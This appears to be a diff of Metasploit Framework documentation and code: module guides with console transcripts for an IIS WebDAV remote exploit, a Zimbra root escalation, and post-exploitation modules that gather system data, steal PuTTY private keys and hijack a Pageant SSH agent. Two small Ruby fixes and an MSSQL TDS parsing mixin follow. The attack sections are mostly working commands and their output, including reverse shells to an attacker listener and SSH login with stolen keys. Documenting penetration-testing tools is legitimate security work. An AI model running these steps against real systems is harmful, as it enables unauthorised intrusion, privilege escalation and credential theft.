* Windows 2000 Professional SP1 (AR)
* Windows 2000 Professional SP1 (CZ)
* Windows 2000 Professional SP1 (EN)
* Windows 2000 Professional SP2 (EN)
* Windows 2000 Professional SP2 (FR)
* Windows 2000 Professional SP2 (PT)
* Windows 2000 Professional SP3 (EN)
* Windows 2000 Server SP0 (DE)
* Windows 2000 Server SP0 (EN)
* Windows 2000 Server SP0 (ES)
* Windows 2000 Server SP0 (FR)
* Windows 2000 Server SP0 (HU)
* Windows 2000 Server SP0 (NL)
* Windows 2000 Server SP0 (PT)
* Windows 2000 Server SP0 (TR)
* Windows 2000 Server SP1 (EN)
* Windows 2000 Server SP1 (SE)
* Windows 2000 Server SP2 (EN)
* Windows 2000 Server SP2 (RU)
* Windows 2000 Server SP3 (DE)
* Windows 2000 Server SP3 (IT)
## Verification Steps
1. `use exploit/windows/iis/ms03_007_ntdll_webdav`
1. `set RHOSTS [IP]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
## Scenarios
### Windows 2000 Professional SP1 (EN)
```
msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195
rhosts => 192.168.200.195
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check
[+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception)
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Trying return address 0x004e004f (1 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[-] Connection failed (3 of 20)...
[-] Connection failed (4 of 20)...
[*] Trying return address 0x00ce004f (2 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[*] Trying return address 0x00ce0041 (3 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[-] Connection failed (3 of 20)...
[-] Connection failed (4 of 20)...
[*] Trying return address 0x00430041 (4 / 88)...
[-] Attempt failed: Connection reset by peer
[*] Checking if IIS is back up after a failed attempt...
[-] Connection failed (1 of 20)...
[-] Connection failed (2 of 20)...
[*] Trying return address 0x00b40041 (5 / 88)...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.195
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1066) at 2022-07-07 06:13:21 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
C:\WINNT\system32>
```
@@ -0,0 +1,47 @@
## Vulnerable Application
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
## Verification Steps
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
10 meterpreter x86/linux zimbra @ zimbra.example.org 10.0.0.146:4444 -> 10.0.0.154:39800 (10.0.0.154)
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > use exploit/linux/local/zimbra_slapper_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 10
SESSION => 10
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target is vulnerable.
[*] Creating exploit directory: /tmp/.5kq9XO
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.5kq9XO/.1wNk1h3
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted /tmp/.5kq9XO
[*] Meterpreter session 13 opened (10.0.0.146:4444 -> 10.0.0.154:40044) at 2022-07-21 14:04:12 -0700
meterpreter > getuid
Server username: root
```
## Options
### SUDO_PATH
The path to `sudo` on the host. If we have a proper environment with `$PATH` set, which we generally do, simply `sudo` is fine.
### ZIMBRA_BASE
The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`, and I'm not even sure if it _can_ install elsewhere, so this default should be fine.
@@ -0,0 +1,67 @@
## Vulnerable Application
This module prints out the operating system environment variables.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/multi/gather/env`
1. Do: `set SESSION <session id>`
1. Do: `run`
## Options
## Scenarios
### Windows 11 Pro (10.0.22000 N/A Build 22000)
```
msf6 > use post/multi/gather/env
msf6 post(multi/gather/env) > set session 1
session => 1
msf6 post(multi/gather/env) > run
[*] Running module against WinDev2110Eval (192.168.200.140)
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\User\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=WINDEV2110EVAL
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
HOMEDRIVE=C:
HOMEPATH=\Users\User
LOCALAPPDATA=C:\Users\User\AppData\Local
LOGONSERVER=\\WINDEV2110EVAL
NUMBER_OF_PROCESSORS=2
OneDrive=C:\Users\User\OneDrive
OS=Windows_NT
Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Program Files\Microsoft SQL Server\130\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Users\User\AppData\Local\Microsoft\WindowsApps;;C:\Users\User\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\User\.dotnet\tools
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 26 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=1a05
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSExecutionPolicyPreference=Bypass
PSModulePath=C:\Users\User\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\User\AppData\Local\Temp
TMP=C:\Users\User\AppData\Local\Temp
USERDOMAIN=WINDEV2110EVAL
USERDOMAIN_ROAMINGPROFILE=WINDEV2110EVAL
USERNAME=User
USERPROFILE=C:\Users\User
windir=C:\Windows
[+] Results saved to /root/.msf4/loot/20220731233101_default_192.168.200.140_windows.environm_058721.txt
[*] Post module execution completed
```
@@ -0,0 +1,44 @@
## Vulnerable Application
This module will check the file system and registry for particular artifacts.
The list of artifacts is read in YAML format from `data/post/enum_artifacts_list.txt`
or a user specified file. Any matches are written to the loot.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/windows/gather/enum_artifcats`
1. Do: `set SESSION <session id>`
1. Do: `run`
## Options
### ARTIFACTS
Full path to artifacts file.
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1)
```
msf6 > use post/windows/gather/enum_artifacts
msf6 post(windows/gather/enum_artifacts) > set session 1
session => 1
msf6 post(windows/gather/enum_artifacts) > set verbose true
verbose => true
msf6 post(windows/gather/enum_artifacts) > run
[*] Searching for artifacts of test_evidence
[*] Processing 2 file entries for test_evidence ...
[*] Processing 2 registry entries for test_evidence ...
[*] Artifacts of test_evidence found.
Evidence of test_evidence found.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI\DisplayName
[+] Enumerated Artifacts stored in: /root/.msf4/loot/20220807015628_default_192.168.200.190_enumerated.artif_933981.txt
[*] Post module execution completed
```
@@ -1,64 +1,61 @@
## Vulnerable Application
This module will enumerate current and recently logged on Windows users.
## Verification Steps
1. Start msfconsole
2. Get meterpreter session
3. Do: ```use post/windows/gather/enum_logged_on_users```
4. Do: ```set SESSION <session id>```
5. Do: ```run```
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_logged_on_users`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
**CURRENT**
### CURRENT
Enumerate currently logged on users. Default: ```true```
Enumerate currently logged on users. (default: `true`)
**RECENT**
### RECENT
Enumerate Recently logged on users. Default: ```true```
Enumerate recently logged on users. (default: `true`)
**SESSION**
The session to run this module on.
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1).
```
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
```
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
SESSION => 1
msf post(windows/gather/enum_logged_on_users) > run
msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
SESSION => 1
msf post(windows/gather/enum_logged_on_users) > run
[*] Running against session 1
[*] Running module against TEST-PC (192.168.1.10)
Current Logged Users
====================
Current Logged Users
====================
SID User
--- ----
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
SID User
--- ----
S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
Recently Logged Users
=====================
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
[*] Post module execution completed
```
[+] Results saved in: /root/.msf4/loot/20191213054458_default_192.168.1.10_host.users.recen_365577.txt
[*] Post module execution completed
```
@@ -0,0 +1,241 @@
## Vulnerable Application
This module will enumerate Microsoft PowerShell settings.
## Verification Steps
1. Start msfconsole
1. Get a session
1. Do: `use post/windows/gather/enum_powershell_env`
1. Do: `set SESSION <session id>`
1. Do: `run`
## Options
## Scenarios
### Windows 7 (6.1 Build 7601, Service Pack 1)
```
msf6 > use post/windows/gather/enum_powershell_env
msf6 post(windows/gather/enum_powershell_env) > set session 1
session => 1
msf6 post(windows/gather/enum_powershell_env) > run
[*] Running module against test (192.168.200.158)
[*] PowerShell is installed on this system.
[*] Version: 2.0
[*] Execution Policy: RemoteSigned
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] No PowerShell Snap-Ins are installed
[*] PowerShell Modules paths:
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
[*] C:\Program Files (x86)\Microsoft SQL Server\120\Tools\PowerShell\Modules\
[*] C:\Program Files (x86)\AutoIt3\AutoItX
[*] PowerShell Modules:
[*] PSDiagnostics
[*] TroubleshootingPack
[*] SQLASCMDLETS
[*] SQLPS
[*] AutoItX.chm
[*] AutoItX.psd1
[*] AutoItX3.Assembly.dll
[*] AutoItX3.Assembly.xml
[*] AutoItX3.dll
[*] AutoItX3.PowerShell.dll
[*] AutoItX3_DLL.h
[*] AutoItX3_DLL.lib
[*] AutoItX3_x64.dll
[*] AutoItX3_x64_DLL.lib
[*] Examples
[*] Checking if users have PowerShell profiles
[*] Running with elevated privileges. Extracting user list ...
[*] Checking asdf
[*] Checking DefaultAppPool
[*] Checking MSSQL$SQLEXPRESS
[*] Checking MSSQLSERVER
[*] Checking postgres
[*] Checking test
[*] Checking user
[*] Found PowerShell profile 'C:\Users\user\Documents\WindowsPowerShell\profile.ps1' for user:
Get-Host | Select-Object Version
[*] Post module execution completed
```
### Windows 11 Pro (10.0.22000 N/A Build 22000)
```
msf6 > use post/windows/gather/enum_powershell_env
msf6 post(windows/gather/enum_powershell_env) > set session 1
session => 1
msf6 post(windows/gather/enum_powershell_env) > run
[*] Running module against WinDev2110Eval (192.168.200.140)
[*] PowerShell is installed on this system.
[*] Version: 2.0
[*] Execution Policy: AllSigned
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] PowerShell Snap-Ins:
[*] Snap-In: WDeploySnapin3.0
[*] (Default):
[*] ApplicationBase: C:\Program
[*] AssemblyName: Microsoft.Web.Deployment.PowerShell,
[*] Description: This
[*] ModuleName: Microsoft.Web.Deployment.PowerShell.dll
[*] PowerShellVersion: 2.0
[*] Vendor: Microsoft
[*] Version: 9.0.0.0
[*] PowerShell Modules paths:
[*] C:\Users\User\Documents\WindowsPowerShell\Modules
[*] C:\Program Files\WindowsPowerShell\Modules
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules
[*] PowerShell Modules:
[*] Azure
[*] Azure.AnalysisServices
[*] Azure.Storage
[*] AzureRM
[*] AzureRM.AnalysisServices
[*] AzureRM.ApiManagement
[*] AzureRM.ApplicationInsights
[*] AzureRM.Automation
[*] AzureRM.Backup
[*] AzureRM.Batch
[*] AzureRM.Billing
[*] AzureRM.Cdn
[*] AzureRM.CognitiveServices
[*] AzureRM.Compute
[*] AzureRM.Consumption
[*] AzureRM.ContainerInstance
[*] AzureRM.ContainerRegistry
[*] AzureRM.DataFactories
[*] AzureRM.DataFactoryV2
[*] AzureRM.DataLakeAnalytics
[*] AzureRM.DataLakeStore
[*] AzureRM.DevTestLabs
[*] AzureRM.Dns
[*] AzureRM.EventGrid
[*] AzureRM.EventHub
[*] AzureRM.HDInsight
[*] AzureRM.Insights
[*] AzureRM.IotHub
[*] AzureRM.KeyVault
[*] AzureRM.LogicApp
[*] AzureRM.MachineLearning
[*] AzureRM.MachineLearningCompute
[*] AzureRM.MarketplaceOrdering
[*] AzureRM.Media
[*] AzureRM.Network
[*] AzureRM.NotificationHubs
[*] AzureRM.OperationalInsights
[*] AzureRM.PowerBIEmbedded
[*] AzureRM.Profile
[*] AzureRM.RecoveryServices
[*] AzureRM.RecoveryServices.Backup
[*] AzureRM.RecoveryServices.SiteRecovery
[*] AzureRM.RedisCache
[*] AzureRM.Relay
[*] AzureRM.Resources
[*] AzureRM.Scheduler
[*] AzureRM.ServerManagement
[*] AzureRM.ServiceBus
[*] AzureRM.ServiceFabric
[*] AzureRM.SiteRecovery
[*] AzureRM.Sql
[*] AzureRM.Storage
[*] AzureRM.StreamAnalytics
[*] AzureRM.Tags
[*] AzureRM.TrafficManager
[*] AzureRM.UsageAggregates
[*] AzureRM.Websites
[*] Microsoft.PowerShell.Operation.Validation
[*] PackageManagement
[*] Pester
[*] PowerShellGet
[*] PSReadline
[*] AppBackgroundTask
[*] AppLocker
[*] AppvClient
[*] Appx
[*] AssignedAccess
[*] BitLocker
[*] BitsTransfer
[*] BranchCache
[*] CimCmdlets
[*] ConfigCI
[*] ConfigDefender
[*] ConfigDefenderPerformance
[*] Defender
[*] DeliveryOptimization
[*] DirectAccessClientComponents
[*] Dism
[*] DnsClient
[*] EventTracingManagement
[*] Get-NetView
[*] HostNetworkingService
[*] International
[*] iSCSI
[*] ISE
[*] Kds
[*] Microsoft.PowerShell.Archive
[*] Microsoft.PowerShell.Diagnostics
[*] Microsoft.PowerShell.Host
[*] Microsoft.PowerShell.LocalAccounts
[*] Microsoft.PowerShell.Management
[*] Microsoft.PowerShell.ODataUtils
[*] Microsoft.PowerShell.Security
[*] Microsoft.PowerShell.Utility
[*] Microsoft.Windows.Bcd.Cmdlets
[*] Microsoft.WSMan.Management
[*] MMAgent
[*] MsDtc
[*] NetAdapter
[*] NetConnection
[*] NetEventPacketCapture
[*] NetLbfo
[*] NetNat
[*] NetQos
[*] NetSecurity
[*] NetSwitchTeam
[*] NetTCPIP
[*] NetworkConnectivityStatus
[*] NetworkSwitchManager
[*] NetworkTransition
[*] PcsvDevice
[*] PersistentMemory
[*] PKI
[*] PnpDevice
[*] PrintManagement
[*] ProcessMitigations
[*] Provisioning
[*] PSDesiredStateConfiguration
[*] PSDiagnostics
[*] PSScheduledJob
[*] PSWorkflow
[*] PSWorkflowUtility
[*] ScheduledTasks
[*] SecureBoot
[*] SmbShare
[*] SmbWitness
[*] StartLayout
[*] Storage
[*] StorageBusCache
[*] TLS
[*] TroubleshootingPack
[*] TrustedPlatformModule
[*] UEV
[*] VMDirectStorage
[*] VpnClient
[*] Wdac
[*] Whea
[*] WindowsDeveloperLicense
[*] WindowsErrorReporting
[*] WindowsSearch
[*] WindowsUpdate
[*] Checking if users have PowerShell profiles
[*] Checking User
[*] Post module execution completed
```
@@ -0,0 +1,120 @@
## Vulnerable Application
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
If a target Windows machine is compromised and is running Pageant, this will allow the
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
tunneled through the meterpreter session. This could therefore be used to authenticate
with a remote host using a private key which is loaded into a remote user's Pageant instance,
without ever having knowledge of the private key itself.
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
loaded into the remote meterpreter session by this module if it is not already loaded.
## Verification Steps
1. Start msfconsole
2. Get a Meterpreter session
3. Do: `use post/windows/manage/forward_pageant`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
### SocketPath
Specify a filename for the local UNIX socket. (default path is random)
## Scenarios
### Pageant 0.77.0.0 on Windows 7 SP1 (x64)
Use `windows/gather/enum_putty_saved_sessions` to detect Pageant and known hosts:
```
msf6 > use post/windows/gather/enum_putty_saved_sessions
msf6 post(windows/gather/enum_putty_saved_sessions) > set session 1
session => 1
msf6 post(windows/gather/enum_putty_saved_sessions) > run
[*] Looking for saved PuTTY sessions
[*] Found 3 sessions
PuTTY Saved Sessions
====================
Name HostName UserName PublicKeyFile PortNumber PortForwardings ProxyUsername ProxyPassword
---- -------- -------- ------------- ---------- --------------- ------------- -------------
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk 22
example.com example.com C:\Users\user\Desktop\serial1.ppk 22
serial1 C:\Users\user\Desktop\serial1.ppk 0
[+] PuTTY saved sessions list saved to /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.sessions.c_273976.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
[*] Downloading private keys...
[+] PuTTY private key file for '192.168.200.158' (C:\Users\user\Desktop\ubuntu22.ppk) saved to: /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.ppk.file_988729.bin
[+] PuTTY private key file for 'example.com' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_341943.bin
[+] PuTTY private key file for 'serial1' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_265111.bin
PuTTY Private Keys
==================
Name HostName UserName PublicKeyFile Type Cipher Comment
---- -------- -------- ------------- ---- ------ -------
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk
example.com example.com C:\Users\user\Desktop\serial1.ppk
serial1 C:\Users\user\Desktop\serial1.ppk
[*] Looking for previously stored SSH host key fingerprints
[*] Found 1 stored key fingerprint
[*] Downloading stored key fingerprints...
Stored SSH host key fingerprints
================================
SSH Endpoint Key Type(s)
------------ -----------
192.168.200.158:22 ssh-ed25519
[+] PuTTY stored host keys list saved to /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.storedfing_027625.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).
[*] Looking for Pageant...
[+] Pageant is running (Handle 0x330820)
[*] Post module execution completed
```
Establish a local forward with `post/windows/manage/forward_pageant`:
```
msf6 > use post/windows/manage/forward_pageant
msf6 post(windows/manage/forward_pageant) > set session 1
session => 1
msf6 post(windows/manage/forward_pageant) > run
[*] Launched listening socket on /tmp/bVN4Dg2W
[*] Set SSH_AUTH_SOCK variable to /tmp/bVN4Dg2W (e.g. export SSH_AUTH_SOCK="/tmp/bVN4Dg2W")
[*] Now use any SSH tool normally (e.g. ssh-add)
```
Specify the `SSH_AUTH_SOCK` UNIX socket path when using ssh tools:
```
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh-add -l
3072 SHA256:/M07p51CmCSMrV1lbFs19OMvyRw6g9Wxbq8bW5px0KA asdf@ubuntu-22-04-amd64 (RSA)
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh asdf@192.168.200.158
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
209 updates can be applied immediately.
29 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
*** System restart required ***
Last login: Sun Aug 7 22:19:04 2022 from 192.168.200.130
asdf@ubuntu-22-04-amd64:~$
```
+1 -1
View File
@@ -93,7 +93,7 @@ module Metasploit
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
# @return [nil] if the user does not have a `database.yml` in their config directory.
def self.user_configurations_pathname
Pathname.new(Msf::Config.get_config_root).join('database.yml')
Pathname.new(Msf::Config.config_directory).join('database.yml')
end
end
end
@@ -80,7 +80,7 @@ module Metasploit
opt_hash
)
end
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET => e
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET, Errno::EPIPE => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Net::SSH::Exception => e
status = Metasploit::Model::Login::Status::INCORRECT
+354
View File
@@ -0,0 +1,354 @@
module Metasploit
module Framework
module MSSQL
# A base mixin of useful mssql methods for parsing structures etc
module Base
# Encryption
ENCRYPT_OFF = 0x00 #Encryption is available but off.
ENCRYPT_ON = 0x01 #Encryption is available and on.
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
ENCRYPT_REQ = 0x03 #Encryption is required.
# Packet Type
TYPE_SQL_BATCH = 1 # (Client) SQL command
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
TYPE_RPC = 3 # (Client) RPC
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
# Request Completion, Error and Info Messages, Attention Acknowledgement
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
TYPE_TDS7_LOGIN = 16 # (Client) Login
TYPE_SSPI_MESSAGE = 17 # (Client) Login
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
# Status
STATUS_NORMAL = 0x00
STATUS_END_OF_MESSAGE = 0x01
STATUS_IGNORE_EVENT = 0x02
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
#
# Send and receive using TDS
#
def mssql_send_recv(req, timeout=15, check_status = true)
sock.put(req)
# Read the 8 byte header to get the length and status
# Read the length to get the data
# If the status is 0, read another header and more data
done = false
resp = ""
while(not done)
head = sock.get_once(8, timeout)
if !(head && head.length == 8)
return false
end
# Is this the last buffer?
if head[1, 1] == "\x01" || !check_status
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while(rlen > 0)
buff = sock.get_once(rlen, timeout)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
#
# Encrypt a password according to the TDS protocol (encode)
#
def mssql_tds_encrypt(pass)
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
end
#
# Parse a raw TDS reply from the server
#
def mssql_parse_tds_reply(data, info)
info[:errors] ||= []
info[:colinfos] ||= []
info[:colnames] ||= []
# Parse out the columns
cols = data.slice!(0, 2).unpack('v')[0]
0.upto(cols-1) do |col_idx|
col = {}
info[:colinfos][col_idx] = col
col[:utype] = data.slice!(0, 2).unpack('v')[0]
col[:flags] = data.slice!(0, 2).unpack('v')[0]
col[:type] = data.slice!(0, 1).unpack('C')[0]
case col[:type]
when 48
col[:id] = :tinyint
when 52
col[:id] = :smallint
when 56
col[:id] = :rawint
when 61
col[:id] = :datetime
when 34
col[:id] = :image
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
when 36
col[:id] = :string
when 38
col[:id] = :int
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
when 127
col[:id] = :bigint
when 165
col[:id] = :hex
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 173
col[:id] = :hex # binary(2)
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
when 231, 175, 167, 239
col[:id] = :string
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
else
col[:id] = :unknown
end
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
if col[:msg_len] && col[:msg_len] > 0
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
end
info[:colnames] << (col[:name] || 'NULL')
end
end
#
# Parse individual tokens from a TDS reply
#
def mssql_parse_reply(data, info)
info[:errors] = []
return if not data
until data.empty?
token = data.slice!(0, 1).unpack('C')[0]
case token
when 0x81
mssql_parse_tds_reply(data, info)
when 0xd1
mssql_parse_tds_row(data, info)
when 0xe3
mssql_parse_env(data, info)
when 0x79
mssql_parse_ret(data, info)
when 0xfd, 0xfe, 0xff
mssql_parse_done(data, info)
when 0xad
mssql_parse_login_ack(data, info)
when 0xab
mssql_parse_info(data, info)
when 0xaa
mssql_parse_error(data, info)
when nil
break
else
info[:errors] << "unsupported token: #{token}"
end
end
info
end
#
# Parse a single row of a TDS reply
#
def mssql_parse_tds_row(data, info)
info[:rows] ||= []
row = []
info[:colinfos].each do |col|
if(data.length == 0)
row << "<EMPTY>"
next
end
case col[:id]
when :hex
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.unpack("H*")[0]
when :string
str = ""
len = data.slice!(0, 2).unpack('v')[0]
if len > 0 && len < 65535
str << data.slice!(0, len)
end
row << str.gsub("\x00", '')
when :datetime
row << data.slice!(0, 8).unpack("H*")[0]
when :rawint
row << data.slice!(0, 4).unpack('V')[0]
when :bigint
row << data.slice!(0, 8).unpack("H*")[0]
when :smallint
row << data.slice!(0, 2).unpack("v")[0]
when :smallint3
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
when :tinyint
row << data.slice!(0, 1).unpack("C")[0]
when :image
str = ''
len = data.slice!(0, 1).unpack('C')[0]
str = data.slice!(0, len) if len && len > 0
row << str.unpack("H*")[0]
when :int
len = data.slice!(0, 1).unpack("C")[0]
raw = data.slice!(0, len) if len && len > 0
case len
when 0, 255
row << ''
when 1
row << raw.unpack("C")[0]
when 2
row << raw.unpack('v')[0]
when 4
row << raw.unpack('V')[0]
when 5
row << raw.unpack('V')[0] # XXX: missing high byte
when 8
row << raw.unpack('VV')[0] # XXX: missing high dword
else
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
end
else
info[:errors] << "unknown column type: #{col.inspect}"
end
end
info[:rows] << row
info
end
#
# Parse a "ret" TDS token
#
def mssql_parse_ret(data, info)
ret = data.slice!(0, 4).unpack('N')[0]
info[:ret] = ret
info
end
#
# Parse a "done" TDS token
#
def mssql_parse_done(data, info)
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
info
end
#
# Parse an "error" TDS token
#
def mssql_parse_error(data, info)
len = data.slice!(0, 2).unpack('v')[0]
buff = data.slice!(0, len)
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
emsg = buff.slice!(0, elen * 2)
emsg.gsub!("\x00", '')
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
info
end
#
# Parse an "environment change" TDS token
